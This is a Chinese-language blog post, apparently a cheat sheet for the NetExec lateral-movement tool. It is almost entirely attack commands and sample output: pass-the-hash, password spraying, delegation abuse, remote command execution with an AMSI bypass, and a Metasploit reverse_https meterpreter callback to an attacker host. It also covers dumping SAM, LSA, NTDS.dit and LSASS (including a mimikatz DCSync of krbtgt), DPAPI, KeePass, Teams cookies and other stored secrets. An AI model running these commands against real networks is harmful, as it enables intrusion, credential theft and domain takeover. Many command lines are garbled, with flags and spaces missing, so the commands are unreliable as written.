身份认证失败:红色

身份认证成功:绿色

身份认证失败,但是提供的密码有效:品红色

域用户身份认证

登录失败会导致 [-]

成功登录后会生成 [+] DomainUsername:Password

代码执行会导致在登录确认后添加 (Pwn3d!)。使用 SMB 协议时,认证成功的用户很可能位于本地管理员组中。

SMB    192.168.1.101  445   HOSTNAME    [+] DOMAIN\Username:Password (Pwn3d!)

PS:如果 NTLM 身份验证不可用,则 Kerberos 需要主机名和域名,而不是 IP 地址。

使用密码认证

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'

使用ntlm hash认证

nxc smb 192.168.1.0/24 -UserNAme -'LM:NT'
nxc smb 192.168.1.0/24 -UserNAme -'NTHASH'
nxc smb 192.168.1.0/24 -Administrator -'13b29964cc2480b4ef454c59562e675c'
nxc smb 192.168.1.0/24 -Administrator -'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'

本地用户认证

使用--local-auth参数进行本地密码认证

nxc smb 192.168.1.0/24-UserNAme-'PASSWORDHERE'--local-auth
nxc smb 192.168.1.0/24-''-''--local-auth
nxc smb 192.168.1.0/24-UserNAme-'LM:NT'--local-auth
nxc smb 192.168.1.0/24-UserNAme-'NTHASH'--local-auth
nxc smb 192.168.1.0/24-u localguy -'13b29964cc2480b4ef454c59562e675c'--local-auth
nxc smb 192.168.1.0/24-u localguy -'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'--local-auth

委派认证

基于资源的约束委派 (RBCD)

如果有一个对象,其 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为你控制的帐户,则可以使用 NetExec 中的 impersonate 标志自动执行基于资源的约束委派并模拟任何用户:

nxc smb 192.168.56.11 -u jon.snow -p iknownothing --delegate Administrator
图片

S4U2Self

如果有计算机帐户,哪么就可以(几乎)使用 s4u2self 获得本地管理员:

nxc smb 192.168.56.10 -u 'KINGSLANDING$' -H 220fc1990391bdc183d1a68c389c0229 --delegate Administrator --self
图片

命令执行

远程命令执行

执行方法

netexec有多种不同的命令执行方法:

  • • wmiexec 通过 WMI 执行命令

  • • atexec 通过使用 Windows Task Scheduler 调度任务来执行命令

  • • smbexec 通过创建和运行服务来执行命令

默认情况下,如果一个执行方法失败,nxc 将故障转移到不同的执行方法。它尝试按以下顺序执行命令:

1. wmiexec
2. atexec
3. smbexec

如果要强制 nxc 仅使用一种执行方法,可以使用--exec-method指定哪一种执行方法。

执行命令

使用-x在目标上执行 whoami:

nxc smb 192.168.10.11-Administrator-'P@ssw0rd'-x whoami
06-05-201614:34:35 nxc          192.168.10.11:445 WIN7BOX         [*]Windows6.1Build7601(name:WIN7BOX)(domain:LAB)
06-05-201614:34:35 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-201614:34:39 nxc          192.168.10.11:445 WIN7BOX         [+]Executed command 
06-05-201614:34:39 nxc          192.168.10.11:445 WIN7BOX         lab\administrator
06-05-201614:34:39[*] KTHXBYE!

使用-X直接执行 PowerShell 命令:

nxc smb 192.168.10.11-Administrator-'P@ssw0rd'-'$PSVersionTable'
06-05-201614:36:06 nxc          192.168.10.11:445 WIN7BOX         [*]Windows6.1Build7601(name:WIN7BOX)(domain:LAB)
06-05-201614:36:06 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         [+]Executed command 
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         NameValue
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         ---------
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         CLRVersion2.0.50727.5420
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         BuildVersion6.1.7601.17514
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         PSVersion2.0
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         WSManStackVersion2.0
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         PSCompatibleVersions{1.0,2.0}
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         SerializationVersion1.1.0.1
06-05-201614:36:10 nxc          192.168.10.11:445 WIN7BOX         PSRemotingProtocolVersion2.1
06-05-201614:36:10[*] KTHXBYE!

Bypass AMSI

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

进程注入(需要足够高的权限)

NetExec <IP> -u username -p password -M pi -o PID=<target_process_pid> EXEC=<command>

获取交互式shell

Invoke-MetasploitPayload中Invoke-MetasploitPayload.ps1的metinject模块启动一个meterpreter

在 Metasploit 实例上,运行以下命令

use exploit/multi/script/web_delivery

SRVHOST 和 SRVPORT 变量用于运行 Web 服务器以托管脚本

set SRVHOST 10.211.55
set SRVPORT 8443

target 变量决定了我们使用的脚本类型。2 表示 PowerShell

set target 2

使用反向 https meterpreter 有效负载

set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443

检查完后

run -j

运行后,web_delivery 模块将启动 Web 服务器来托管 meterpreter 会话的脚本和反向监听。

msf exploit(web_delivery) > run -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.

然后只需运行 met_inject 模块并指定 LHOST 和 LPORT 值:

NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http

共享爬虫

使用默认参数--spider

用于爬取远程系统共享的选项。示例,对名称中包含 txt 的文件的 C 盘进行爬虫(查找 sometxtfile.html 和 somefile.txt)

PS:必须对 '$' 字符进行转义

nxc SMB <IP> -u USER -p PASSWORD --spider C\$ --pattern txt

使用参数spider_plus

列出所有可读文件

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus

导出文件

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True

文件上传下载

文件上传到远程服务器

nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt

远程服务器文件下载到本地

nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt

凭证提取

Dump SAM

使用 secretsdump.py 中的方法转储 SAM 哈希

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam

Dump LSA

需要目标域控制器上的域管理员或本地管理员权限

nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --lsa

如果在结果中发现

SC_GMSA{84A78B8C-56EE-465b-8496-FFB35A1B52A7}

哪么就可以获取下面的账户

nxc ldap <ip> -<user> -<pass> --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
nxc ldap <ip> -<user> -<pass> --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'

Dump NTDS.dit

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.1.100 -UserName -'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -UserName -'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -UserName -'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -UserName -'PASSWORDHERE' --ntds vss

Dump LSASS

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.255.131 -u administrator -p pass -M lsassy
nxc smb 192.168.255.131 -u administrator -p pass -M nanodump
nxc smb 192.168.255.131 -u administrator -pass -M mimikatz
nxc smb 192.168.255.131 -Administrator -pass -M mimikatz -o COMMAND='"lsadump::dcsync /domain:domain.local /user:krbtgt"

Dump DPAPI

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb <ip> -u user -p password --dpapi
nxc smb <ip> -u user -p password --dpapi cookies
nxc smb <ip> -u user -p password --dpapi nosystem
nxc smb <ip> -u user -p password --local-auth --dpapi nosystem

Dump SCCM

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.1.100 -UserNAme -'PASSWORDHERE' --sccm
nxc smb 192.168.1.100 -UserNAme -'PASSWORDHERE' --sccm disk
nxc smb 192.168.1.100 -UserNAme -'PASSWORDHERE' --sccm wmi

Dump WIFI password

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb <ip> -u user -pass -M wifi
nxc smb <ip> -u user -pass -M wifi --local-auth 

Dump KeePass(密码管理器)

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

NetExec smb <ip> -u user -pass -M keepass_discover
NetExec smb <ip> -u user -pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"

Dump Veeam

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.22 -u eddard.stark -p FightP3aceAndHonor! -M veeam

Dump WinSCP

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.24 -u eddard.stark -p FightP3aceAndHonor! -M winscp

Dump PuTTY

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor!

Dump VNC

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M vnc

Dump mRemoteNG

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M mremoteng

Dump Remote Desktop Credential Manager

至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth

nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M rdcman

LAPS防护绕过

nxc smb <ip> -u user-can-read-laps -p pass --laps

检查Spooler和WebDav

nxc smb <ip> -'user' -'pass' -M spooler
nxc smb <ip> -'user' -'pass' -M webdav

窃取 Microsoft Teams Cookie

nxc smb <ip> -u user -p pass -M teams_localdb

LDAP协议详解

Authentication(身份认证)

测试账户是否存在 Kerberos 协议

nxc ldap 192.168.1.0/24 -u users.txt -p '' -k

使用凭证进行认证

nxc ldap 192.168.1.0/24 -u user -p password
nxc ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B

示例输出

LDAP 192.168.255.131 5985   ROGER    [+] GOLD\user:password

默认情况下,ldap 协议将通过连接到 SMB 共享(dc 的)来获取域名,如果您不想要该初始连接,只需添加--no-smb参数

枚举用户

nxc ldap $ip -u $user -p $password --users
nxc ldap $ip -u $user -p $password --active-users

枚举用户组

通过 LDAP 枚举特定组中的所有成员:

nxc ldap $ip -u $user -p $password -M group-mem -o GROUP="Domain Admins"

查找域SID

$ nxc ldap DC1.scrm.local -u sqlsvc -Pegasus60 ---get-sid
LDAP        DC1.scrm.local  389    DC1.scrm.local   [*]  x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAPS       DC1.scrm.local  636    DC1.scrm.local   [+] scrm.local\sqlsvc 
LDAPS       DC1.scrm.local  636    DC1.scrm.local   Domain SID S-1-5-21-2743207045-1827831105-2542523200

查找DC

nxc ldap <ip> -u user -p pass --dc-list

WINRM协议详解

密码喷射

//一对一,不进行爆破
nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
//排列组合
nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

Authentication(身份认证)

nxc winrm 192.168.1.0/24 -u user -p password
输出示例如下:
WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   ROGER            [+] GOLD\user:password (Pwn3d!)

如果 SMB 端口已关闭,哪么可以使用-d DOMAIN来避免 SMB 连接

nxc winrm 192.168.1.0/24 -u user -p password -d DOMAIN
输出示例如下:
WINRM       192.168.255.131 5985   192.168.255.131  [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   192.168.255.131  [+] GOLD\user:password (Pwn3d!)

命令执行

#~ nxc winrm 192.168.255.131 -u user -p 'password' -X whoami
WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   ROGER            [+] GOLD\user:password (Pwn3d!)
WINRM       192.168.255.131 5985   ROGER            [+] Executed command
WINRM       192.168.255.131 5985   ROGER            gold\user

LAPS绕过

如果域内部使用 LAPS,则很难使用 NetExec 在域上的每台计算机上执行命令。

因此,添加了一个新的核心选项 --laps !如果入侵了可以读取 LAPS 密码的帐户,哪么可以像这样使用 NetExec

NetExec winrm <ip> -u user-can-read-laps -p pass --laps

MSSQL协议详解

密码喷射

#~ nxc mssql 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc mssql 192.168.1.0/24 -u userfile -p passwordfile--continue-on-success

Authentication(身份认证)

可以使用两种方法对 MSSQL 进行身份验证:windows 或本地(默认:windows)。要使用本地身份验证,请添加--local-auth

Windows auth

如果SMB端口开放

#~ nxc mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'

如果SMB端口关闭,使用-d DOMAIN

#~ nxc mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' -d HTB

认证输出示例

MSSQL       10.10.10.52     1433   MANTIS           [+] HTB\james:J@m3s_P@ssW0rd!

Local auth

#~ nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth

输出示例

MSSQL  10.10.10.52     1433   None    [+] admin:m$$ql_S@_P@ssW0rd! (Pwn3d!)

指定认证端口

#~ nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --port 1434

权限提升

一般认证

NetExec mssql <ip> -u user -p password                       
MSSQL       <ip>   1433   FQDN      [*] Windows 10 / Server 2019 Build 17763 (name:FQDN) (domain:FQDN.local)
MSSQL       <ip>   1433   FQDN      [+] FQDN\user:password

加载权限提升模块

NetExec mssql <ip>-u user -p password -M mssql_priv
MSSQL       <ip>1433   FQDN      [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL       <ip>1433   FQDN      [+] FQDN\user:password 
MSSQL_PRIV  <ip>1433   FQDN      [+] FQDN\user can impersonate: sa (sysadmin)

检测提升后的权限

NetExec mssql <ip>-u user -p password -M mssql_priv -o ACTION=privesc
MSSQL       <ip>1433   FQDN      [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL       <ip>1433   FQDN      [+] FQDN\user:password 
MSSQL_PRIV  <ip>1433   FQDN      [+] FQDN\user can impersonate: sa (sysadmin)
MSSQL_PRIV  <ip>1433   FQDN      [+] FQDN\user is now a sysadmin!(Pwn3d!)

回滚到原始权限

NetExec mssql <ip>-u user -p password -M mssql_priv -o ACTION=rollback
MSSQL       <ip>1433   FQDN      [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL       <ip>1433   FQDN      [+] FQDN\user:password (Pwn3d!)
MSSQL_PRIV  <ip>1433   FQDN      [+] sysadmin role removed

命令执行

执行mssql的命令

nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

输出示例

MSSQL       10.10.10.521433None[+] admin:m$$ql_S@_P@ssW0rd!(Pwn3d!)
MSSQL       10.10.10.521433None             name
MSSQL       10.10.10.521433None--------------------------------------------------------------------------------------------------------------------------------
MSSQL       10.10.10.521433None             master
MSSQL       10.10.10.521433None             tempdb
MSSQL       10.10.10.521433None             model
MSSQL       10.10.10.521433None             msdb
MSSQL       10.10.10.521433None             orcharddb

文件的上传下载

上传文件

nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --put-file  --put-file /tmp/users C:\\Windows\\Temp\\whoami.txt

输出示例

$ poetry run NetExec mssql 192.168.212.134-u administrator -October2022--put-file /tmp/users C:\\Windows\\Temp\\whoami.txt
MSSQL       192.168.212.1341433   DC01             [*]Windows10.0Build20348(name:DC01)(domain:poudlard.wizard)
MSSQL       192.168.212.1341433   DC01             [+] poudlard.wizard\administrator:October2022(Pwn3d!)
MSSQL       192.168.212.1341433   DC01             [*]Copy/tmp/users to C:\Windows\Temp\whoami.txt
MSSQL       192.168.212.1341433   DC01             [*]Sizeis23 bytes
MSSQL       192.168.212.1341433   DC01             [+]File has been uploaded on the remote machine

下载文件

nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --get-file C:\\Windows\\Temp\\whoami.txt /tmp/file

输出示例

$ poetry run NetExec mssql 192.168.212.134-u administrator -October2022--get-file C:\\Windows\\Temp\\whoami.txt /tmp/users-t
MSSQL       192.168.212.1341433   DC01             [*]Windows10.0Build20348(name:DC01)(domain:poudlard.wizard)
MSSQL       192.168.212.1341433   DC01             [+] poudlard.wizard\administrator:October2022(Pwn3d!)
MSSQL       192.168.212.1341433   DC01             [*]Copy C:\Windows\Temp\whoami.txt to /tmp/users-t
MSSQL       192.168.212.1341433   DC01             [+]File C:\Windows\Temp\whoami.txt was transferred to /tmp/users-t

执行xp_cmdshell

#~ nxc mssql 10.10.10.59 -u sa -p 'GWE3V65#6KFH93@4GWTG2G' --local-auth -x whoami
MSSQL       10.10.10.591433None[+] sa:GWE3V65#6KFH93@4GWTG2G (Pwn3d!)
MSSQL       10.10.10.591433None[+]Executed command via mssqlexec
MSSQL       10.10.10.591433None--------------------------------------------------------------------------------
MSSQL       10.10.10.591433None             tally\sarah

SSH协议详解

密码喷射

#~ nxc ssh 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc ssh 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

Authentication(身份认证)

#~ nxc ssh 192.168.1.0/24 -u user -p password

输出示例

SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] user:password

指定认证端口

#~ nxc http 192.168.1.0/24 --port 2222

命令执行

#~ nxc ssh 127.0.0.1 -u user -p password -x whoami
SSH         127.0.0.122127.0.0.1[*] SSH-2.0-OpenSSH_8.2p1Debian-4
SSH         127.0.0.122127.0.0.1[+] user:password 
SSH         127.0.0.122127.0.0.1[+]Executed command
SSH         127.0.0.122127.0.0.1        user 

FTP协议详解

密码喷射

#~ nxc ftp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc ftp 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

查看文件列表

nxc ftp 192.168.0.10-'marshall'-'badpassword'--ls
FTP         192.168.0.1021192.168.0.10[*]Banner:(vsFTPd 3.0.5)
FTP         192.168.0.1021192.168.0.10[+] marshall:badpassword
FTP         192.168.0.1021192.168.0.10[*]DirectoryListing
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Sep3017:29Desktop
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Documents
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Jul1323:42Downloads
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Music
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Pictures
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Public
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Templates
FTP         192.168.0.1021192.168.0.10    drwxr-xr-x    2100010004096Aug282022Videos
FTP         192.168.0.1021192.168.0.10    drwx------4100010004096Aug282022 snap

文件上传下载

上传

netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --put [LOCAL_FILE] [REMOTE_FILE]

输出示例

 netexec ftp 10.10.176.246-u frank -p D2xc9CgD --put test.txt test.txt
FTP         10.10.176.2462110.10.176.246[*]Banner:(vsFTPd 3.0.3)
FTP         10.10.176.2462110.10.176.246[+] frank:D2xc9CgD
FTP         10.10.176.2462110.10.176.246[-]Failed to upload file.Response:(550Permission denied.)

下载

netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --get [FILE]

输出示例

netexec ftp 10.10.176.246-u frank -p D2xc9CgD --get ftp_flag.thm
FTP         10.10.176.2462110.10.176.246[*]Banner:(vsFTPd 3.0.3)
FTP         10.10.176.2462110.10.176.246[+] frank:D2xc9CgD
FTP         10.10.176.2462110.10.176.246[+]Downloaded: ftp_flag.thm

RDP协议详解

密码喷射

#~ nxc rdp 192.168.1.0/24 -u user -p password

示例

$ nxc rdp 192.168.133.157-u ron -October2021
RDP         192.168.133.1573389   DC01             [*]Windows10orWindowsServer2016Build17763(name:DC01)(domain:poudlard.wizard)
RDP         192.168.133.1573389   DC01             [-] poudlard.wizard\ron:October2021

$ nxc rdp 192.168.133.157-u rubeus -October2021
RDP         192.168.133.1573389   DC01             [*]Windows10orWindowsServer2016Build17763(name:DC01)(domain:poudlard.wizard)
RDP         192.168.133.1573389   DC01             [+] poudlard.wizard\rubeus:October2021(Pwn3d!)
#~ poetry run NetExec rdp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ poetry run NetExec rdp 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

RDP屏幕截图

NetExec rdp <ip> -u <user> -p <password> --screenshot --screentime <second>

WMI协议详解

密码喷射

#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile
#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

Authentication(身份认证)

对于WMI来说,有两种认证方式:windows or local (default: windows),如果是本地认证需要添加参数--local-auth

Windows auth

SMB端口开放

#~ nxc wmi 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'

SMB端口关闭,使用参数-d DOMAIN

#~ nxc wmi 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' -d HTB

输出示例

WMI   10.10.10.52     1433   MANTIS           [+] HTB\james:J@m3s_P@ssW0rd!

Local auth

#~ nxc wmi 10.10.10.52 -u admin -p 'admin' --local-auth



打赏

本文链接:https://kinber.cn/post/3936.html 转载需授权!

分享到:


推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

 您阅读本篇文章共花了: 

群贤毕至

访客